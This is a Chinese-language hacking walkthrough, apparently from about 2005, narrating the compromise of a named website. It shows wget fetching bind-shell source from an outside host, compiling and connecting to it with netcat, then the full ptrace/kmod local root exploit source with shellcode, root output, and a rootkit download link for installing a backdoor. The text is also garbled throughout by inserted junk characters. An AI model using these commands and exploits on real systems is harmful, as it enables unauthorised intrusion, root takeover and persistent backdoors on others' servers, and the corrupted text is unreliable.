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http://shellcode.org/Shellcode/Linux/shell-bind-shell.c了,- `/ b3 p) Z: O4 l3 e4 m
就可以用wget这个命令来下载了,输入
/ @! h7 P. r5 a4 Bwget http://shellcode.org/Shellcode/Linux/shell-bind-shell.c -P /tmp意思
3 n, N7 z! d7 a( N7 w+ s: k就是下载这个shell.c到/tmp目录下,如图6 J, |' K# i6 T/ @& J8 I6 m# t. M
然后ls /tmp得到下面的结果,[www.sealia.com]$ ls /tmpDate: Sat, 29 Jan 2005 22:17:14 GMTServer: Apache/1.3.29 (Unix) mod_throttle/3.1.2 PHP/4.3.8 PHP/3.0.18Set-Cookie: sealiakleadata1=|||1|; expires=Sunday, 31-Dec-01 23:59:59 GMT;Set-Cookie: koX8iT3Dda=-kleadata1-;Transfer-Encoding: chunkedContent-Type: text/plain
% O; ^& L6 u/ c2 F% ]2 C2bdlost+foundmremap_pte.cmysql.sockptrace.csess_0a3d59b6da83717a4c05fbc5c6429982sess_12981c19e4cdab7bc426af965e7c85desess_33c246570a69e0846eaaedaef61f0402sess_4eb43cb41a450e8a7d15998fe4e9ef82sess_5c2048e3188733f41bba9a1ab44a4f3bsess_6405a9b3e0a809d7f298ad598f5de180sess_67fc6892112d2d780a092664353dcbbasess_9e3a2581194c05f598543f10294a95edsess_a0332a716e5c0a0932331ce9a5ec64d2sess_a159ec1f21a671d5cfe201c384d8da1csess_c6f579b218f096eb5ba11fdbad90f248sess_cdea344ed2940c99c1fcc146c5322882sess_f1e8e705bb1a6c5197ab61a22442da90shell-bind-shell.cshell-bind-shell.c.1ssh-XX0CyKEcssh-XX7eRJNnssh-XX89utqmssh-XXEmor9Xssh-XXhC36Gwssh-XXpOcVIAssh-XXrhx8enssh-XXss6aKsssh-XXw2rzSs
* M }- {$ f& t; D, j4 ^( Y( @这个时候就说明已经成功了,现在我们查找一下gcc在哪里,别到时候闹了半天
I# {; y! Z6 f: t+ F在没有gcc就麻烦了,然后输入whereis -b gcc意思就是查找gcc的全路径输出结果- R( N4 F; @* V; Y4 A2 U2 w+ G: {
[www.sealia.com]$ whereis -b gccDate: Sat, 29 Jan 2005 22:21:06 GMTServer: Apache/1.3.29 (Unix) mod_throttle/3.1.2 PHP/4.3.8 PHP/3.0.18Set-Cookie: sealiakleadata1=|||1|; expires=Sunday, 31-Dec-01 23:59:59 GMT;Set-Cookie: koX8iT3Dda=-kleadata1-;Transfer-Encoding: chunkedContent-Type: text/plain
5 V6 S4 u, ]" v) m7 k5 ^4 B; S% J12gcc: /usr/bin/gcc2 U* q. i: ~0 f; J4 N! O7 y
好了找到gcc了,接下来的事就好办了,编译源程序gcc shell-bind-shell.c -o bind3 Y+ F7 W/ T1 r \/ B4 U" }
编译成功在/tmp目录下多了一个我们编译的bind程序,下面我们就来执行它吧,8 H$ y" r ?# V" _ E3 S1 M
/tmp/bind程序执行的很慢哦.....大概等了1-2分钟程序执行完成,根据程序的介绍我: H1 { R, F9 f: r& Z# M
们知道他开了20000端口,我们telnet 上去吧,telnet www.sealia.com 20000. {; G$ X% L6 l' g
哈哈连接上了这个时候摸瞎输入id;uname -a 我晕怎么出现"command not found"6 h3 U6 |/ N& D. w* `6 d/ `
呢,我晕了,没错啊,看看源程序吧,找到了最后,哈哈知道了原因,% J/ K I0 e/ S7 ~7 Z
Note: To use this you will need to make sure that you append '\n\0' to your entered strings, otherwise you will receive errors saying "command not found".The following is a simple means of doing that: perl -e '$|++;while (<>) { print . "\n\x00"; }' | nc hostname 20000- D; L% m5 L+ u( \7 y, G
(nc is netcat).好了知道为什么了,我们就换nc提交吧,执行nc -vv www.sealia.com 20000然后出现了C:\WINDOWS\system32>nc -vv www.sealia.com 20000Warning: inverse host lookup failed for 61.100.181.12: h_errno 11004: NO_DATAwww.sealia.com [61.100.181.12] 20000 (?) open在黑暗中输入id输出结果uid=99(nobody) gid=99(nobody) groups=99(nobody)如图7

呵呵到这里我们可爱的流光还在跑呢,跑了将近半个小时了,不等了,关闭它,太浪费资源了,这个时候我大概知道他是一个linux的操作系统,但不知道内核版本输入uname -r 可以看到这个linux的内核iduid=99(nobody) gid=99(nobody) groups=99(nobody)uname -r2.4.20-31.92.4.20的,下面咱们来提升权限吧,就是拿到root,这里说明一下这里有2个很好用的漏洞利用程序,一个是Linux Kernel do_mremap VMA本地权限提升漏洞(漏洞利用程序下载地址_pte.c">http://rhea.oamk.fi/~pyanil00/temp/mremap_pte.c)和Linux kernel 2.2.x - 2.4.x ptrace/kmod local root exploit好了都准备好了,咱们开始提升权限吧,大家先把咱们要利用的程序输入到linux里面cd /tmp;cat >1.c然后复制代码右键输入代码/*
, M6 N4 I6 b2 u# D* Linux kernel ptrace/kmod local root exploit
8 x7 G; y& z8 Q: G. z" ]*; }' i# @8 \: F! z4 W( c2 o
* This code exploits a race condition in kernel/kmod.c, which creates7 @* l7 d8 `+ W
* kernel thread in insecure manner. This bug allows to ptrace cloned
* s& N. D R+ r* S) z% i) M* process, allowing to take control over privileged modprobe binary.
" |( t) J8 V5 t8 h*
4 H' @ I' }. O* Should work under all current 2.2.x and 2.4.x kernels. W7 |; u3 W$ j: h! H$ E, Z6 U
*
5 G- [: t$ S( h6 X8 q# j* I discovered this stupid bug independently on January 25, 2003, that * }+ D9 m: |4 `5 B; H+ d6 W& z. ]
* is (almost) two month before it was fixed and published by Red Hat
) p- x* ^7 }8 R) h# x# G* and others.% r f3 [/ g2 i1 _2 c
* 0 f E+ A& b- N" }6 S- H( Z) n
* Wojciech Purczynski <cliph@isec.pl>8 Z3 G: r8 }1 l0 t/ u
*- B% Q( t" ^: b/ J: e3 U
* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY*/ {# z" P4 {; x6 \ u
* IT IS PROVIDED "AS IS" AND WITHOUT ANY WARRANTY
7 z. c8 ~( ~% U0 x' d P6 a*
+ u. m _$ @6 S- ]) K* (c) 2003 Copyright by iSEC Security Research% X. u/ j; ^6 D0 b5 p. z7 Q `- A
*/ #include
t& {8 Q6 l* e6 W, H#include
( w0 L4 U+ s/ E/ d0 f#include
2 U* n% _; ~: u6 w3 w! `#include
8 s- G u( E9 [) A! `( ~#include # J. [/ t* c( j( x' j
#include
9 ]" I( h, M2 r& }#include
( F4 j! ?2 }* T1 Q6 b+ |+ ]#include
0 ?9 v1 _7 y0 R# E0 _#include ; w8 i& Z, h5 |& @7 n% d7 f( W/ j
#include + ~) i* S# G) b; U* `* |
#include
* u( d! b9 g' }5 Y: r( A#include 1 P+ ^: b! o7 B6 l0 n6 ?& Z
#include
4 c$ W9 ~* b; n7 V2 A3 ]: a#include ' a) L( K0 r' E& h; {, W- Y) n2 d* o
#include 0 N# n/ H" S+ S! |4 q5 N
#include char cliphcode[] =
) |* N2 V4 i# _2 M3 ~"\x90\x90\xeb\x1f\xb8\xb6\x00\x00"! X; i+ T2 d5 z' V
"\x00\x5b\x31\xc9\x89\xca\xcd\x80"
' {3 D& | e' L/ F! z"\xb8\x0f\x00\x00\x00\xb9\xed\x0d"
, }, N$ k3 R: c( H6 P5 c"\x00\x00\xcd\x80\x89\xd0\x89\xd3") _ l( ~) m8 D6 _$ V
"\x40\xcd\x80\xe8\xdc\xff\xff\xff"; #define CODE_SIZE (sizeof(cliphcode) - 1) pid_t parent = 1;; }: k% W& Q0 R* t' V, z
pid_t child = 1;. }" c5 \) l/ { [$ h2 ?$ p
pid_t victim = 1;
+ G- U- B1 u' B5 V3 p w8 Nvolatile int gotchild = 0; void fatal(char * msg)8 P$ t/ A6 ~. w7 g+ `# F
{
- D( w" g1 |# ^6 L2 D4 D) Gperror(msg);
" h, [* s6 q# Akill(parent, SIGKILL);
W0 t6 J7 Z0 x# akill(child, SIGKILL);! t0 w& H, E5 {+ O
kill(victim, SIGKILL);
% Z3 |/ p, W p& U6 D/ L} void putcode(unsigned long * dst)
+ i& x# `- K+ L; [ L% r{
7 x! g' ?* ~+ b) Pchar buf[MAXPATHLEN + CODE_SIZE];$ C( s( @* b, q& z- F
unsigned long * src;* J/ Q& r7 W. _2 R$ Q% d8 g
int i, len; memcpy(buf, cliphcode, CODE_SIZE);- F9 s, Z, i; T7 L5 }2 n
len = readlink("/proc/self/exe", buf + CODE_SIZE, MAXPATHLEN - 1);, s$ b4 b0 n! d# e0 v3 ]
if (len == -1)8 T1 ~! K) \ N" U# i0 }$ n
fatal("[-] Unable to read /proc/self/exe"); len += CODE_SIZE + 1;0 G6 l, [4 T2 [+ b
buf[len] = '\0'; src = (unsigned long*) buf;
0 N# u; B0 ^1 X! [for (i = 0; i < len; i += 4)
, z5 `5 X6 w- X8 W7 N; b aif (ptrace(PTRACE_POKETEXT, victim, dst++, *src++) == -1)9 I6 [1 L/ F% j& e z8 m8 |0 I
fatal("[-] Unable to write shellcode");
+ z# R- a& s9 _% {3 Z" o( }8 B3 w} void sigchld(int signo)
' v0 B m" r# O$ `- Z{
, t" m8 R- F: Y0 e! {' gstruct user_regs_struct regs; if (gotchild++ == 0)
! F* g$ s, D8 z2 Areturn; fprintf(stderr, "[+] Signal caught\n"); if (ptrace(PTRACE_GETREGS, victim, NULL, 畇) == -1)
# { Q* [3 w/ Wfatal("[-] Unable to read registers"); fprintf(stderr, "[+] Shellcode placed at 0x%08lx\n", regs.eip); putcode((unsigned long *)regs.eip); fprintf(stderr, "[+] Now wait for suid shell...\n"); if (ptrace(PTRACE_DETACH, victim, 0, 0) == -1)/ q8 Y- E7 E( }3 ~2 ]
fatal("[-] Unable to detach from victim"); exit(0);4 L! V0 T2 `( e" h
} void sigalrm(int signo)
5 n( k1 m6 z4 r{
$ N, f* M6 c# f4 w3 [2 uerrno = ECANCELED;/ ^' h# p/ B. l2 F Y4 B4 w
fatal("[-] Fatal error");
, B! n+ c4 U0 w% c/ v# S# H4 x/ C} void do_child(void)/ p; w t; k2 g V9 o
{
6 ~, e% }1 z( b- eint err; child = getpid();& H& n; [4 x6 ?4 H+ F
victim = child + 1; signal(SIGCHLD, sigchld); do9 u8 n: O, D0 Y( \
err = ptrace(PTRACE_ATTACH, victim, 0, 0);
( O" I4 W( C+ F& M! Lwhile (err == -1 && errno == ESRCH); if (err == -1)
4 [' e" H' n3 f% v9 F k. rfatal("[-] Unable to attach"); fprintf(stderr, "[+] Attached to %d\n", victim);3 I* ?1 ?, H# O5 X: I, a8 M
while (!gotchild) ;
1 a8 o' E/ t& Y7 Q. U) I- \if (ptrace(PTRACE_SYSCALL, victim, 0, 0) == -1)
/ R$ q4 v3 }/ _: o. x* g; G6 Bfatal("[-] Unable to setup syscall trace");5 E/ R( |) g) @9 u' G6 Y' [
fprintf(stderr, "[+] Waiting for signal\n"); for(;;);. r5 {8 o, f, `* ?3 B0 c
} void do_parent(char * progname)
% T2 e# o% Y9 v* I{8 w1 a2 K8 O- g7 e8 _% w% e
struct stat st;
7 q6 G+ `* P5 d7 r2 fint err;. Z$ s8 X' h/ v6 F; N ]+ m
errno = 0;& X4 P& y. y7 G. Y9 T
socket(AF_SECURITY, SOCK_STREAM, 1);6 V5 a( n- |- a' s4 x. G
do {6 C2 M8 L! w8 O/ a$ `) j; j
err = stat(progname, &st);; S9 q/ R& x& m7 ?
} while (err == 0 && (st.st_mode & S_ISUID) != S_ISUID); if (err == -1)
5 z# Q, q6 ^, Z G( xfatal("[-] Unable to stat myself"); alarm(0);
' ~) \0 r! f2 t! W! J* L( Q7 L' ~: Vsystem(progname); U6 @6 Q8 a; Q
} void prepare(void)4 K* H+ S- o& c* m* |$ k: \* D, u
{" v$ m" ? b' e2 W2 X! M; L1 w
if (geteuid() == 0) {6 x$ Q! a0 |; D+ ^9 t
initgroups("root", 0);9 B6 K7 H4 ^0 `- `3 f! g/ L$ ]
setgid(0);( d6 j' P7 N( q2 o
setuid(0);' w/ |1 Y* l; P0 A' w0 d
execl(_PATH_BSHELL, _PATH_BSHELL, NULL);
; |% ]2 A- P* g5 Y4 x6 Dfatal("[-] Unable to spawn shell");
8 X: u7 V1 } e}
. E2 I# s: C. Z# `} int main(int argc, char ** argv)
0 ]! q. N5 O" U; V3 ~7 K{
7 ~( K4 L( |; b0 I3 [- kprepare();
: y: g0 M& P! e$ R; G$ c" Jsignal(SIGALRM, sigalrm);
8 C: g( S# [/ x- A- K/ [$ _alarm(10); parent = getpid();
9 L# I8 @* V+ K3 ichild = fork();
" z5 r! E, y7 q4 j- {victim = child + 1; if (child == -1)! k, u7 o( b0 X: v) V* O
fatal("[-] Unable to fork"); if (child == 0)
2 k4 A2 {" y/ w/ U5 Fdo_child();) w7 {8 E9 t) N: R6 i2 v: v
else
/ P4 D7 {8 ?. m9 }' U" n9 Ldo_parent(argv[0]); return 0;
8 P# |7 I# y7 [3 u$ Y}CRTL+C保存,然后编译gcc 1.c -o 1编译成功,然后输入./1程序开始执行了,-> Parent's PID is 2313. Child's PID is 2314.-> Attaching to 2315...-> Got the thread!!-> Waiting for the next signal...-> Injecting shellcode at 0x4000e85d-> Bind root shell on port 24876... =p-> Detached from modprobe thread.-> Committing suicide..... iduid=0(root) gid=0(root) groups=0(root)哈哈到这个时候我们已经是root了,剩下的工作就是安装后门了,大家可以参考我另外的一篇文章,more.asp?name=cnbird&id=522还有推荐一个不错的rootkitpacketstormsecurity.org/UNIX/penetration/rootkits/lrk5.src.tar.gz好了到这里所有的工作就算已经完成了,其实从入侵中我们可以看出来我们做网站的一定要重视web漏洞,这一点点的小漏洞就可以把能拿到系统的最高权限,可见其危害性,希望国内的网管能够重视起来. |